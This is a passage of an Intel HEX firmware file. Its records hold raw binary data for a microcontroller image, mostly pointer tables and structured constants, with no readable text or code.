:10A6700000000000CD2500000000000000000000E8 :10A680000000000000000000000000005CA20200CA :10A6900000000000B8B80200D6010000412500000B :10A6A000DD240000000000000000000000000000A9 :10A6B000CD250000000000000000000000000000A8 :10A6C0000000000000000000D0A602000000000012 :10A6D000B8B80200D701000041250000DD240000C9 :10A6E000000000000000000000000000CD25000078 :10A6F000000000000000000000000000000000005A :10A70000000000005CA2020000000000B8B80200D7 :10A71000D801000041250000DD24000000000000F9 :10A720000000000000000000CD2500000000000037 :10A730000000000000000000000000000000000019 :10A7400030A1020000000000D0DF02005D290000FF :10A75000D0DF0200DD2C0000D0DF02004D29000018 :10A76000D0DF020061360000D0DF0200892900003E :10A77000D0DF0200AD2B0000D0DF0200053B00005F :10A78000D0DF0200BD3900000CE0020059380000A3 :10A79000D0DF0200D1270000D0DF020067200200D6 :10A7A000C0E002000100FFFFC52F000098CC0200AE :10A7B000AF00000015000000D4A70200D0DF0200A7 :10A7C000512F0000D0DF0200A92A00000CE0020097 :10A7D00095380000860F0000560D00004E0F000057 :10A7E00090A70200C600000090A702005E0D0000C6 :10A7F000A0A702006E05000050A702007605000029 :10A8000070A70200660D0000CCA702006E0D0000CC :10A810007CA80200760D000088A702007E0D0000D3 :10A82000BCA702004E170000C4A702008E1700004C :10A8300098A702005E17000068A7020066170000D4 :10A8400058A702006E17000048A702007617000004 :10A8500060A702008617000080A70200E611000032 :10A8600078A70200CE0D000005000000D60D000004 :10A8700001000000DE0D000003000000D0DF020038 :10A880006F2002006CB20200ACA70200B8B8020050 :10A890001A0200000000000000000000CF200200AB :10A8A00000000000000000000000000000000000A8 :10A8B0000000000000000000000000000000000098 :10A8C0000000000000000000B8B8020044020000D0 :10A8D0000D4000005F22020000000000F541000072 :10A8E000D54300000000000000000000853F00008C :10A8F0000000000000000000000000000000000058 :10A90000A0A90200B8B80200B20200000D40000089 :10A910005F22020000000000F5410000D543000066 :10A920000000000000000000853F00000000000063 :10A93000000000000000000000000000A0A90200CC :10A9400048E00200E54000000CE002007941000010 :10A950000CE002007B210200C0E002000200FFFFC9 :10A960000F220200C0E002000200FFFF9141000040 :10A9700048E002000141000048E0020049220200D4 :10A9800048E002003F22020048E00200A13F000030 :10A9900048E00200C122020048E00200B1220200A9 :10A9A00098CC02009700000012000000B0A902003D :10A9B000F60F000040A902002E0C000048A902007A :10A9C0003E05000050A902007611000070A90200A7 :10A9D0004E11000058A902005611000064A902009F :10A9E000AE12000078A90200B612000080A9020091 :10A9F000CE12000088A902001613000090A90200E0 :10AA00001E13000098A90200D614000040AA0200FC :10AA10002E15000048AA02004616000050AA0200A7 :10AA20004E16000058AA0200DE16000060AA0200BE :10AA3000FE16000068AA0200F60E0000CCC3020059 :10AA40000CE00200D141000048E00200A1410000FA :10AA500048E002009D21020048E00200454100005C :10AA600048E0020089210200C0E002000200FFFF6E :10AA70001D410000D0DF0200D545000098CC020047 :10AA80001F000000030000008CAA0200860F0000D7 :10AA9000060100004E0F000074AA02000E01000023 :10AAA000C0AA020000000000398EE33D398E633EEB :10AAB000398EE33EABAA2A3F721C473F0000803F1D :10AAC000D0DF0200D54500006CB202007CAA020073 :10AAD000B8B80200A902000000000000272302000D :10AAE0000000000000000000000000000000000066 :10AAF00000000000373D02000923020000000000B2 :10AB0000000000000000000000000000B8B80200D3 :10AB10003D02000045460000A54600000000000080 :10AB2000E545000045240200000000000000000090 :10AB30000000000000000000000000000000000015 :10AB40000000000000000000B8B802007C01000016 :10AB500000000000000000000000000000000000F5 :10AB600000000000000000000000000000000000E5 :10AB700000000000000000000000000000000000D5 :10AB800084AB020098CC0200270000000400000003 :10AB900094AB0200760B0000E4AB0200B6060000A6 :10ABA000FCAB0200AE060000F0AB0200160C000089 :10ABB00004AC02006F01020040420F00700102006D :10ABC000080000007E010200000000007F01030277 :10ABD00024DD02008001030224DD02008101030262 :10ABE00024DD0200C0E002000300FFFFC1480000B6 :10ABF000C0E00200040003007549000048E00200C4 :10AC0000D949000084E002001D4A00000CE0020067 :10AC1000194C000098CC02001F0000000300000047 :10AC200024AC0200CE1000000CAC0200760D000037 :10AC30003CAC02006E16000044AC020048E002008A :10AC400057240200C0E0020004000400E54B0000AD :10AC5000B8B8020047020000BD4A00000000000032 :10AC6000000000005B3D020000000000000000004A :10AC700000000000373D0200094C00000000000009 :10AC8000000000000000000014AC0200B8B8020090 :10AC90004702000000000000000000006D4A0000B4 :10ACA0005B3D02000000000000000000000000000A :10ACB0000000000000000000000000000000000094 :10ACC000000000000000000048E00200894E000083 :10ACD00048E002001D4E0000B8B802006702000004 :10ACE0000000000000000000000000000000000064 :10ACF000000000000000000000000000373D0200DE :10AD00006B250200000000000000000000000000B1 :10AD10000000000098CC02001700000002000000B4 :10AD200024AD020016100000C8AC0200CE110000D5 :10AD3000D0AC0200B8B802000402000025510000A7 :10AD40008D25020000000000E14D0000394F000099 :10AD500000000000B1510000094E0000000000009A :10AD600049250200000000000000000014AD0200B0 :10AD7000B8B8020010020000255100005552000032 :10AD800000000000E14D0000394F0000000000000D :10AD9000B1510000094E00000000000049250200EA :10ADA000000000000000000014AD0200BCAD020075 :10ADB00000000000BCAD020001000000B8B80200B5 :10ADC0000C020000B9520000D55200000000000043 :10ADD000CF250200BF250200000000000000000097 :10ADE0000000000000000000000000000000000063 :10ADF0000000000000000000B8B80200B100000030 :10AE00000000000000000000000000000000000042 :10AE10000000000000000000000000000000000032 :10AE20000000000000000000000000000000000022 :10AE300034AE020098CC02001F00000003000000A6 :10AE400044AE0200A60500007CAE0200AE05000084 :10AE500084AE0200B605000074AE0200F8AD020038 :10AE600070CF020000000000F8AD020010CF020019 :10AE7000010000000CE00200CD5300000CE00200D5 :10AE8000095300000CE002002D53000022010300D2 :10AE900026010300720003004C0103003A02030084 :10AEA000E0000300FA0203008C000300FA01030033 :10AEB000000003006E00030022020300F8030300F9 :10AEC00010020300B80103009A01030064010300AB :10AED000DE01030092FF02006A010300B8030300D1 :10AEE0003C0103002A030300D0030300A602030071 :10AEF000CA020300C4010300CE010300F4010300F1 :10AF00004EFF0200EA010300560003006002030046 :10AF1000DA000300E003030048FF020028020300F8 :10AF200080FF0200AA0203001401030004020300D0 :10AF3000D4FF0200DEFF0200C8FF0200C0FF0200D3 :10AF40001C03030014030300240303009002030006 :10AF50007202030078020300D60203009E00030081 :10AF600004000300F203030000000000400203009D :10AF70002A010300D0000300D60003007E00030076 :10AF800088000300780003005E0103005E030300F5 :10AF90007803030080030300880303006A030300AF :10AFA0006403030072030300060303008E0303001F :10AFB000A0030300A8030300AE03030094030300EF :10AFC0009A030300B4030300660203003402030083 :10AFD0004E020300E6000300FC000300F80003003B :10AFE000F2000300EC00030000030300E6FF020090 :10AFF00030010300160203001C020300BE0103001F :10B00000A4010300AA010300B001030092010300A0 :10B01000F0010300FE01030086010300B6000300F7 :10B020008CFF02008C010300BC000300C20003007F :10B03000D80103009AFF02005C00030082010300B4 :10B0400078010300340303004A03030040030300B4 :10B050003A0303005203030056030300C800030031 :10B06000DA030300C4030300CA03030096020300CB :10B070009C020300BA020300C0020300D0020300D6 :10B08000E401030032000300500003004600030007 :10B090004C0003002E02030086FF0200B0020300F2 :10B0A0000E0103001A010300D0FF0200DAFF0200C4 :10B0B0000A020300A0FF0200BAFF0200DC02030044 :10B0C000E2020300E8020300EE020300F4020300C0 :10B0D0000C0303006C0203007E02030084020300E1 :10B0E0008A02030048020300020103000801030072 :10B0F0009200030098000300B0000300A4000300C6 :10B10000AA0003001000030054FF02005AFF0200CF :10B1100068FF020062FF02006EFF020074FF02007F :10B120007AFF02002C000300180003002400030033 :10B13000E6030300EC0303006CD1020008000000EA :10B14000309E0200389E0200289E0200509E02009F :10B15000489E0200589E0200609E0200409E02002F :10B160006CD102000C000000909E0200989E02002C :10B17000A09E0200A89E0200B09E0200B89E02009F :10B18000C09E0200C89E0200D09E0200D89E02000F :10B19000809E0200889E0200CF000000190000007F :10B1A000A4B10200760F0000649A0200761000003D :10B1B000A4F00200AE0C00006C9802002610000003 :10B1C000DCD10200C6160000B09D02000E17000080 :10B1D000309A0200E61300005CB40200561600002C :10B1E00020A002003612000040990200BE000000BC :10B1F00050EE0200F606000010BE0200EE00000055 :10B20000189E0200FE000000609C02000601000083 :10B21000C8AA02001E0C000068D20200360C000012 :10B22000ACC302009E0C0000D4EE0200560D0000DC :10B2300084A802006E0C0000D8C202000E0D0000AF :10B24000A09D02001617000098990200F60C00005D :10B2500088C60200AE000000B09D0200B6000000EB :10B26000309A02009616000098990200B8B80200C1 :10B27000870200009D5A000000000000000000004E :10B280000000000000000000D15A00000000000093 :10B2900000000000000000000000000000000000AE :10B2A0000000000000000000B8B802006C010000BF :10B2B000000000000000000000000000000000008E :10B2C000000000000000000000000000000000007E :10B2D0000000000000000000E4B2020000000000D6 :10B2E000F4B2020025600000132B020000000000F1 :10B2F0000000000098CC0200470000000800000099 :10B3000004B30200760B000084B30200B60B000009 :10B310007CB30200AE06000044C50200C60B00006C :10B320005CC50200CE0B000050C50200B60600004E :10B3300068C50200D60B000003000000DE0B000011 :10B34000050000006F01020080250000700102006E :10B35000080000007101030024DD020072010200F8 :10B36000010000007301030224DD020074010302E6 :10B3700024DD02007501030224DD02000CE002005E :10B3800009600000C0E002000300FFFF295F000029 :10B390000CE00200D17100000CE00200B17100006D :10B3A00048E00200657100000CE0020091710000AD :10B3B0000CE00200F72C020048E0020039710000A6 :10B3C0000CE00200317200000CE00200796F000016 :10B3D0000CE00200517200000CE002001970000045 :10B3E0000CE00200E72C020048E002000D710000B2 :10B3F0000CE00200D57000000CE00200E16F0000DC :10B400000CE00200357000000CE00200C16F00008B :10B4100048E00200A5700000C0E002000200020047 :10B42000D57200000CE002006D70000048E00200E0 :10B43000717200000CE002009D6F00000CE0020041 :10B44000117200000CE002009D7200000CE002008E :10B45000F17100000CE00200D72C02006CB2020077 :10B4600064B4020098CC0200E70000001C00000059 :10B4700074B40200860F0000E6130000F609000015 :10B4800056F8ADC0C6140000DA0FC9C0DE150000C2 :10B4900044B40200E61400002CB40200C6110000FF :10B4A000D0B30200B613000018B402000611000069 :10B4B000C0B30200AE1500003CB402005E160000EE :10B4C0004CB40200EE0F000090B302002E100000FA :10B4D00098B3020046100000A8B302004E1000000E :10B4E000A0B30200B6100000B0B30200FE100000CE :10B4F000B8B30200D6110000D8B30200F611000064 :10B50000E0B30200FE110000E8B302000E120000DA :10B51000F0B302006E13000010B4020036140000F5 :10B5200024B40200DE120000F8B30200E6120000AC :10B5300000B40200FE12000008B40200AE160000C3 :10B5400054B402000E15000034B40200361100009D :10B55000C8B302003D6D0000E56D00000000000072 :10B5600000000000C0E00200080004008573000035 :10B57000B8B802009A0100000000000000000000BE :10B5800000000000000000000000000000000000BB :10B5900000000000000000000000000000000000AB :10B5A00054B5020000000000B4B502000CE0020037 :10B5B0007573000098CC02004F00000009000000E5 :10B5C000C4B50200CE100000ACB50200960C00001D :10B5D0000CB60200060F0000ECC30200160F0000BC :10B5E00064B50200E60C000014B60200AE060000CE :10B5F00044C50200CE0B000050C50200C60B00007F :10B600005CC50200B606000068C502000CE002003E :10B61000396C00000CE0020061730000B8B8020051 :10B620009B0100000000000000000000000000007E :10B63000000000000000000000000000000000000A :10B6400000000000000000000000000064B60200DE :10B6500000000000B4B50200C0E0020002000200D9 :10B66000957300003D6D0000E56D000000000000D6 :10B6700001000000B8B802003B020000000000001A :10B68000072D020000000000000000000000000084 :10B690000000000000000000373D0200217400009F :10B6A000000000000000000000000000000000009A :10B6B000B8B802000D020000000000000000000009 :10B6C000A12D0200000000000000000000000000AA :10B6D000000000000000000000000000000000006A :10B6E000000000000000000000000000C0E00200B8 :10B6F000020005002D750000B8B8020034020000F9 :10B7000000000000152E02000000000000000000F4 :10B71000000000000000000000000000373D0200B3 :10B72000ED2D0200000000000000000000000000FD :10B730000000000000000000432E02001FB14F0A6D :10B740009595E62477CC2B3217B7D1380AD7233C0E :10B75000CDCCCC3DAEC59D74CA1B0E5A20BCBE4C90 :10B7600000401C460000C8420000204100000000CC :10B7700000000000000000000000000000000000C9 :10B78000D9010000FA0100000000000000000000E4 :10B7900000000000000000000000000000000000A9 :10B7A0000000000000000000000000000000000099 :10B7B0000000000000000000000000000000000089 :10B7C0000000000000000000000000000000000079 :10B7D000ED010000E6010000E1010000EB010000C6 :10B7E000E301000000000000DE0100000000000096 :10B7F0000100000048E00200ED31020048E00200D4 :10B80000D98C0000B8B80200180200000000000047 :10B810006F30020000000000000000000000000087 :10B820000000000000000000000000000000000018 :10B830000000000000000000000000000000000008 :10B84000B8B80200BE020000000000006F30020025 :10B8500000000000000000000000000000000000E8 :10B8600000000000000000000000000000000000D8 :10B87000000000000000000000000000B8B8020056 :10B88000C70200005D890000933002000000000044 :10B8900000000000000000000D8700000000000014 :10B8A0000000000000000000000000000000000098 :10B8B0000000000000000000B8B80200D70200003D :10B8C0007D870000A18B00009D8900005B3D020088 :10B8D00000000000BB30020000000000000000007B :10B8E0000000000000000000000000000000000058 :10B8F00000000000DA010000EC010000E701000098 :10B900000000000000000000000000000100000036 :10B9100020B902000000000000000000000000004C :10B92000B8B8020013020000AD960000999500001F :10B930000000000000000000199D00000000000051 :10B9400025950000618D000000000000AB3402006E :10B9500000000000000000005CB9020098CC02006A :10B96000B7000000160000006CB90200E6110000EC :10B9700034BA020056150000A8BA02009612000060 :10B980004CBA02005E150000B4BA02004613000073 :10B9900080BA0200D6150000D8BA02006E15000069 :10B9A000C0BA0200EE150000E4BA02009E110000C9 :10B9B00028BA020026160000F0BA0200D6130000D2 :10B9C00090BA020076150000CCBA02000612000000 :10B9D00040BA0200361500009CBA02000E110000A9 :10B9E0001CBA0200BE13000088BA0200061700004D :10B9F000FCBA02000613000070BA0200BE1200007A :10BA000058BA0200C612000060BA020026130000F5 :10BA100078BA0200F612000068BA0200C0E0020024 :10BA20000400040081930000C0E002000400030051 :10BA300039920000C0E0020004000400C13202009C :10BA4000C0E002000300FFFF6DA40000C0E00200A0 :10BA500004000400DB3202000CE00200E594000068 :10BA60000CE00200F59400000CE0020015950000C7 :10BA70000CE00200D59400000CE0020005950000E7 :10BA800048E00200259000000CE002004194000014 :10BA9000C0E002000200020003330200C0E0020026 :10BAA000060004001F330200C0E00200040004008E :10BAB000CD320200C0E0020004000400E7320200C0 :10BAC000C0E002000200030069A30000C0E0020021 :10BAD0000200020011330200C0E002000200030075 :10BAE0002DA20000C0E0020004000300D591000078 :10BAF000C0E0020002000200F53202000CE0020089 :10BB000051940000B8B80200670200000000000075 :10BB10000000000000000000000000000000000025 :10BB20000000000000000000373D02001135020057 :10BB30000000000000000000000000000000000005 :10BB4000B8B80200C002000019A50000798F0000FB :10BB500000000000E1A40000199D000000000000AA :10BB6000E1A60000C5A4000000000000AB34020004 :10BB700000000000000000007CBB020098CC020026 :10BB8000B7000000160000008CBB0200E6110000A8 :10BB900034BA020056150000A8BA0200961200003E :10BBA0004CBA02005E150000B4BA02004613000051 :10BBB00080BA0200D6150000D8BA02006E15000047 :10BBC000C0BA0200EE150000E4BA02009E110000A7 :10BBD00028BA020026160000F0BA0200D6130000B0 :10BBE00090BA020076150000CCBA020006120000DE :10BBF00040BA0200361500009CBA02000E11000087 :10BC00001CBA0200BE13000088BA0200061700002A :10BC1000FCBA02000613000070BA0200BE12000057 :10BC200058BA0200C612000060BA020026130000D3 :10BC300078BA0200F612000068BA020048E002007A :10BC4000ADA70000B8B80200A900000075A9000067 :10BC500000000000000000000000000000000000E4 :10BC600000000000000000000000000000000000D4 :10BC700000000000000000000000000000000000C4 :10BC8000D0DF0200C1AC000098CC0200EF00000041 :10BC90001D00000098BC0200860F0000F6060000A0 :10BCA0004E0F000080BC0200C6000000F0BD020084 :10BCB00026070000F8BD02002E070000D0BD0200DC :10BCC0001E070000E4BD02000E070000D8BD020000 :10BCD000960B000004BE02006E070000B0D5020003 :10BCE00076070000E0D50200BE0700005CD9020024 :10BCF000A60700009CD802009E070000ECD60200B8 :10BD0000D6070000D4DB02008607000064D60200DC :10BD10005E07000040D4020056070000D4D30200A2 :10BD2000E607000034DC02007E07000030D6020087 :10BD3000C607000064DA0200CE07000090DA0200B5 :10BD400046070000ACD302006607000008D50200D9 :10BD50004E0700009CD30200DE07000010DC02004A :10BD600096070000D0D602008E070000B4D602006D :10BD7000B60700003CD90200AE0700001CD9020043 :10BD8000DE00030100000000E200030000CF02001B :10BD9000A500010001000000A60001000000000055 :10BDA000DF00020100000000E0000200FFFFFFFFD3 :10BDB000E200030000CF0200A50001000100000026 :10BDC000E700020200000000E6000202000000009E :10BDD000D0DF02009DAA0000C0E002000100FFFFCA :10BDE00005AC0000C0E002000100FFFF4DAB000009 :10BDF000D0DF020051AA0000C0E002000100FFFFF6 :10BE00000DAB0000C0E0020000000100C5AA000068 :10BE10006CB2020088BC020050EE02005D1A030002 :10BE200058EE02008E1A030074EE0200F31A0300AB :10BE30006CEE0200711B03007CEE0200B61B0300D7 :10BE400030DE0200EA1B030018DE0200411C030082 :10BE500020DE0200791C030028DE0200B11C030072 :10BE60005CAE02003F1D030068AE02008B1D0300A4 :10BE70007CAE0200D71D030084AE0200191E030031 :10BE800074AE0200941E0300E89B0200F81E03003B :10BE9000F89B0200301F0300F09B0200D31F030039 :10BEA000B89B02005F200300C09B0200F420030047 :10BEB000D09B020057210300D89B020003220300FD :10BEC000E09B0200AF220300C89B02005B2303003B :10BED000240000209023030038C50200AE23030095 :10BEE00020C502005B240300F0C40200F424030018 :10BEF000F8C402001F2503002CC50200B025030072 :10BF000010C502003926030008C502005B260300A5 :10BF100000C502007F26030018C50200CD260300DD :10BF200000CF02002827030048CF02005727030054 :10BF300058CF02008627030060CF0200B527030018 :10BF400068CF0200E427030070CF0200132803002B :10BF500078CF02004228030080CF0200712803003E :10BF600088CF0200A028030090CF0200CF28030052 :10BF700008CF0200FE28030010CF02002E29030084 :10BF800018CF02005E29030020CF02008E29030093 :10BF900028CF0200BE29030030CF0200EE290300A3 :10BFA00038CF02001E2A030040CF02004E2A0300B1 :10BFB00050CF02007E2A0300C8CF0200AE2A030041 :10BFC000A8CF02000C2B0300C0CF0200562B0300A9 :10BFD000A0CF0200AC2B030098CF0200202C03005E :10BFE00038DF02007E2C030040DF02001C2D03001E :10BFF0004CDF0200672D03002CDF0200BD2D030083 :10C0000064CA0200FF2D0300A0CA0200F32E030041 :10C0100028CA02001D2F030020CA0200482F030077 :10C0200038CA0200D72F03004CCA02006230030056 :10C0300054CA0200B33003005CCA02000631030098 :10C0400044CA02004C3103000CCA020096310300BE :10C0500014CA0200C931030030CA02007E32030054 :10C06000140000200933030084B302004E330300A0 :10C070007CB30200E333030044C502004B340300E9 :10C080005CC502009C34030050C50200DF3403008D :10C0900068C502005F35030004000020AB350300D3 :10C0A000E4AB02000C360300FCAB0200BF36030019 :10C0B000F0AB02000737030004AC02002F37030087 :10C0C00010BE0200FC370300F8BD02004B3803002D :10C0D000D8BD0200BA380300E4BD02005A3903009B :10C0E000D0BD0200EB39030004BE0200443A030055 :10C0F000F0BD02006E3A0300609C0200AE3A0300FD :10C10000189E0200C93A0300109E02004D3B030036 :10C11000C8AA0200993B0300C0AA0200D23B030058 :10C120006A02030224DD0200A802010200000000EE :10C1300048E00200CDB600000CE0020061B700004C :10C140000CE002005338020048E00200DD37020034 :10C1500048E00200C9B80000C0E00200040004008A :10C16000A737020084E0020019B7000098CC020053 :10C170005F0000000B0000007CC1020016100000F0 :10C1800030C102002E0C000038C102003E05000044 :10C1900040C102000E11000048C10200CE11000093 :10C1A00050C102009612000058C102009E12000009 :10C1B00064C10200D6140000D4C102002E15000094 :10C1C000E0C1020046150000E8C10200C6150000EB :10C1D000F0C10200C0E0020002000200E5B700006A :10C1E00048E0020061B800000CE002009DB60000CB :10C1F000C0E002000300FFFF89B70000B8B80200EA :10C200007302000081B80000013802000000000045 :10C2100059B6000071B900000000000049BA0000E2 :10C2200081B60000000000000000000000000000D7 :10C23000000000006CC1020048E0020069BD00007F :10C24000860F00006E0C0000960B000084C20200F6 :10C250001E07000078C20200060D00008CC202001A :10C26000760C0000E0C2020098CC02002F00000013 :10C270000500000040C20200C0E002000100FFFF14 :10C2800091C30000D0DF02005DC10000D0DF0200DA :10C2900055BC000098CC02000F0000000100000017 :10C2A000A4C202008E0C000038C2020000CF0200BF :10C2B00048CF020058CF02009001030100000000A7 :10C2C000A500010001000000E200030024DD0200DF :10C2D0008F01030024DD02006CB2020068C202007C :10C2E000B8B802008E0100000000000025390200ED :10C2F0000000000087380200E9C3000000000000D1 :10C300009DBD000000000000000000009338020006 :10C31000000000000000000094C20200C0E0020023 :10C320000000010065C500000CE0020089C50000A6 :10C33000D0DF020049C5000048E00200DD3A0200FB :10C3400048E0020009C50000C0E00200020003004E :10C35000073B020098CC02004700000008000000E4 :10C360006CC302000CE00200713B0200860F00006B :10C37000360C00003E0C000064C30200460C0000B6 :10C380001CC302004E0C000048C30200560C000003 :10C3900038C302005E0C000028C30200360C000007 :10C3A00030C30200660C000040C302006CB2020001 :10C3B00054C30200C0E0020004000300B9C500003D :10C3C000C0E0020000000100F1C5000048E00200EA :10C3D000F33C020048E00200DD3C020048E00200BD :10C3E000AF3C020084E00200C53C02000CE0020009 :10C3F000093D0200050000000500000003000000E8 :10C40000090000000D0400001A440300B8B802003F :10C410009C00000000000000000000000000000080 :10C42000000000000000000000000000000000000C :10C4300000000000000000000000000000000000FC :10C440000000000048C4020098CC02004F00000029 :10C450000900000058C40200A6020000F8C402004F :10C460009E0200002CC502000605000038C502002F :10C470000E05000020C502002E0C0000F0C40200D2 :10C480006E05000010C502007605000008C5020018 :10C490007E05000000C502002615000018C5020038 :10C4A0004E00030100000000A20002009001000005 :10C4B0008501010200000000A5000102010000004A :10C4C000A600010200000000AA0003010000000015 :10C4D000A200020096000000A50001020100000079 :10C4E0005900010200000000A60001020000000047 :10C4F0000CE0020011E1000084E002004D3E020069 :10C500000CE0020021DB00000CE0020035DB000043 :10C510000CE00200A9E100000CE0020091DB000049 :10C52000C0E002000300FFFF61E00000C0E0020085 :10C530000800040059E10000C0E002000300FFFF12 :10C5400061DF0000C0E0020002000200F93E0200CC :10C55000C0E002000400030045EA0000C0E0020061 :10C5600002000200A1EA0000C0E002000400040092 :10C57000033F0200B8B802007B0200000000000088 :10C58000A5EB00000000000000000000000000001B :10C590000000000000000000373D0200633F020081 :10C5A000000000000000000000000000000000008B :10C5B000EB3F0200DB3F020099F20000AD3F0200BA :10C5C000FDED0000C0E00200060004008DF3000055 :10C5D00004B80200C4C5020098CC02001700000095 :10C5E00002000000E8C5020016120000D0C50200DB :10C5F000A6160000F8C50200C0E002000600040014 :10C600000DF30000B8B802005402000067400200B9 :10C6100085F40000000000000D5C0000E55C0000F7 :10C62000000000000000000000000000000000000A :10C63000000000000000000000000000D8C502005B :10C64000334102003D410200294302004143020000 :10C650003D420200674202007F4202009742020010 :10C66000AF420200DB420200F54202000F4302002B :10C67000D0DF0200F74902000CE00200DDF9000003 :10C68000D0DF0200D5F900006CB2020090C60200B3 :10C6900098CC0200570000000A000000A0C602006B :10C6A000860F0000F60C0000E6160000F0C602003F :10C6B000C600000064EE0200DE06000080C6020034 :10C6C0006E11000070C602008E11000078C60200D4 :10C6D0000E1400001CD30200FE1300000CD3020055 :10C6E0000614000014D302009E160000B4C302001A :10C6F000D0DF0200DF490200C0E002000C000800A9 :10C70000C1FB000048E00200A5FA0000B8B8020032 :10C71000B000000000000000000000000000000069 :10C720007D4A02000000000000000000694F020086 :10C730000DFA0000000000000000000000000000F2 :10C74000000000000000000098CC0200770200000A :10C750004E00000094C70200B8B802006702000053 :10C7600000000000000000000000000000000000C9 :10C77000000000000000000000000000373D020043 :10C780003F4F020000000000000000000000000019 :10C79000000000007E020000A0CA02008602000025 :10C7A00028CA0200A602000020CA02009E02000061 :10C7B00038CA0200AE0200004CCA0200B6020000F5 :10C7C00054CA0200BE0200005CCA0200C602000099 :10C7D00044CA02003E0500000CCA020046050000E3 :10C7E00014CA02008E02000030CA02009602000045 :10C7F00004C70200D6020000F8C60200DE020000F4 :10C80000289F0200E6020000309F0200EE020000B6 :10C81000209F0200FE020000A09F0200F60200001E :10C82000889F020006030000E09E02000E03000045 :10C83000209E020016030000689E02001E030000F6 :10C84000C89F020026030000909F02002E030000F4 :10C85000089F020036030000409F02003E030000D4 :10C8600010A0020046030000609F02004E0300007B :10C87000909E020056030000989E02005E03000096 :10C88000A09E020066030000A89E02006E03000046 :10C89000B09E020076030000B89E02007E030000F6 :10C8A000C09E020086030000C89E02008E030000A6 :10C8B000D09E020096030000D89E02009E03000056 :10C8C000809E0200A6030000889E0200AE030000C6 :10C8D000309E0200B6030000389E0200BE03000036 :10C8E000289E0200C6030000509E0200CE030000F6 :10C8F000489E0200D6030000589E0200DE0300009E :10C90000609E0200E6030000409E0200EE0300006D :10C91000F09F0200F6030000E89F0200FE03000003 :10C92000789E020006040000F09E02000E04000043 :10C93000F89E020016040000B09F02001E040000D2 :10C94000B89F020026040000789F02002E04000019 :10C95000E89E020036040000489F02003E040000EA :10C96000509F020046040000589F02004E04000041 :10C97000709F02005604000008A002005E04000040 :10C98000689F020066040000D89F0200DE040000D9 :10C9900060B10200D604000038B102006E0400004D :10C9A000F89F020076040000809F02007E040000D1 :10C9B000009F020086040000389F02008E040000E1 :10C9C000E09F020096040000709E02009E0400009A :10C9D000C09F0200A6040000109F0200AE040000E9 :10C9E000D09F0200B6040000189F0200BE040000A1 :10C9F000989F0200C604000000A00200CE040000C0 :10CA0000A89F020064CA0200010000000CE00200BE :10CA1000174E0200C0E002000A000500634D02004C :10CA200084E0020069FC00000CE00200BD4D020041 :10CA30000CE002006F4E0200C0E00200080004009B :10CA4000C1FC000048E00200F14E020048E0020094 :10CA5000AF4E020048E00200C54E020048E002006E :10CA6000DB4E0200B8B802004C00000035FD0000AB :10CA7000F5FD00000000000000000000FD000100C6 :10CA800000000000000000000000000000000000A6 :10CA900000000000000000000000000048C7020085 :10CAA0000CE00200754B0200B8B8020067020000FB :10CAB0000000000000000000000000000000000076 :10CAC000000000000000000000000000373D0200F0 :10CAD000D5FA000000000000000000000000000087 :10CAE00000000000B8B80200AC0000000000000028 :10CAF0000000000000000000000000000000000036 :10CB0000000000000000000065FA000000000000C6 :10CB10000000000000000000000000000000000015 :10CB20000CE00200090201000CE002007350020058 :10CB3000C0E00200040003000906010004B802007E :10CB400030CB0200C0E0020004000300C54F020029 :10CB50000CE002009D0501000CE00200B905010097 :10CB600098CC0200770000000E00000070CB02009D :10CB70002E0C000020CB02003E05000028CB020056 :10CB80001E1200003CCB02004612000044CB020003 :10CB90002E13000050CB02005E13000058CB0200A1 :10CBA000D6140000E0CB0200DE140000ECCB020043 :10CBB000A6150000F4CB0200FE16000000CC020017 :10CBC000261700000CCC02002E0F0000DCC3020070 :10CBD000C60F0000E4C30200FE0E0000D4C3020032 :10CBE000C0E0020004000300BB4F02000CE00200A2 :10CBF000ED030100C0E0020004000300B14F020099 :10CC0000C0E002000300FFFF0D0301000CE0020082 :10CC1000ED010100B8B8020067020000000000004A :10CC20000000000000000000000000000000000004 :10CC30000000000000000000373D02000950020023 :10CC400000000000000000000000000000000000E4 :10CC5000B8B80200280200009502010000000000A0 :10CC6000000000000000000043500200000000002F :10CC700000000000D50101000000000000000000DD :10CC8000000000000000000000000000625B0300E4 :10CC90006D5B0300775B0300B8B802002702000059 :10CCA00009050100550601000000000019020100FD :10CCB0003104010000000000A5060100B9010100D7 :10CCC0000000000000000000000000000000000064 :10CCD00060CB0200B8B80200CF01000009050100D6 :10CCE0005506010000000000190201003104010096 :10CCF00000000000A5060100B901010000000000CD :10CD0000000000000000000098CC020060CB020090 :10CD10000CE00200FD5002000CE00200C50701001B :10CD200048E002004507010098CC020067000000BF :10CD30000C00000058CD020098CC020067000000F3 :10CD40000C000000B8CD020098CC02006F0000007B :10CD50000D00000018CE020036010000C8CF02000E :10CD60002E010000A8CF020046010000C0CF020043 :10CD70003E010000A0CF02004E010000B8CF02002B :10CD800056010000B0CF02004E0200000700000074 :10CD900056020000030000005E02000001000000D7 :10CDA0003E02000018CD02004602000020CD020025 :10CDB0009601000010CD020036010000C8CF02002D :10CDC0002E010000A8CF020046010000C0CF0200E3 :10CDD0004E010000B8CF020056010000B0CF0200A3 :10CDE0005E01000080CE02004E020000070000003D :10CDF00056020000030000005E0200000100000077 :10CE00003E02000018CD02004602000020CD0200C4 :10CE10009601000010CD020036010000C8CF0200CC :10CE20002E010000A8CF020046010000C0CF020082 :10CE30003E010000A0CF02004E010000B8CF02006A :10CE400056010000B0CF02006601000098CF02003A :10CE50004E02000007000000560200000300000020 :10CE60005E020000010000003E02000018CD02003A :10CE70004602000020CD02009601000010CD020005 :10CE80000CE002000D510200B8B8020023000000BF :10CE90000000000000000000000000000000000092 :10CEA0000000000000000000000000000000000082 :10CEB0000000000000000000000000000000000072 :10CEC00028CD0200B8B802002200000000000000D7 :10CED0000000000000000000000000000000000052 :10CEE0000000000000000000000000000000000042 :10CEF00000000000000000000000000038CD02002B :10CF0000D0CF02000003010088CE02000A06040010 :10CF1000C4CE02000B1A0500C4CE02000C1401009E :10CF2000C4CE02000D170100C4CE02000E1601008F :10CF3000C4CE02000F150100C4CE02001010010083 :10CF4000C4CE020013000900D0CF0200010201008C :10CF5000C4CE0200141E0900D0CF0200020101005D :10CF600088CE02000304040088CE020004050400F9 :10CF7000C4CE020005110500C4CE0200060C040058 :10CF8000C4CE0200070B0400C4CE02000812010048 :10CF9000C4CE0200090A04000CE0020011090100DD :10CFA0000CE00200910801000CE002008D07010076 :10CFB00048E00200ED08010048E00200C508010059 :10CFC00048E002000108010048E00200E506010017 :10CFD000B8B80200240000000000000000000000BB 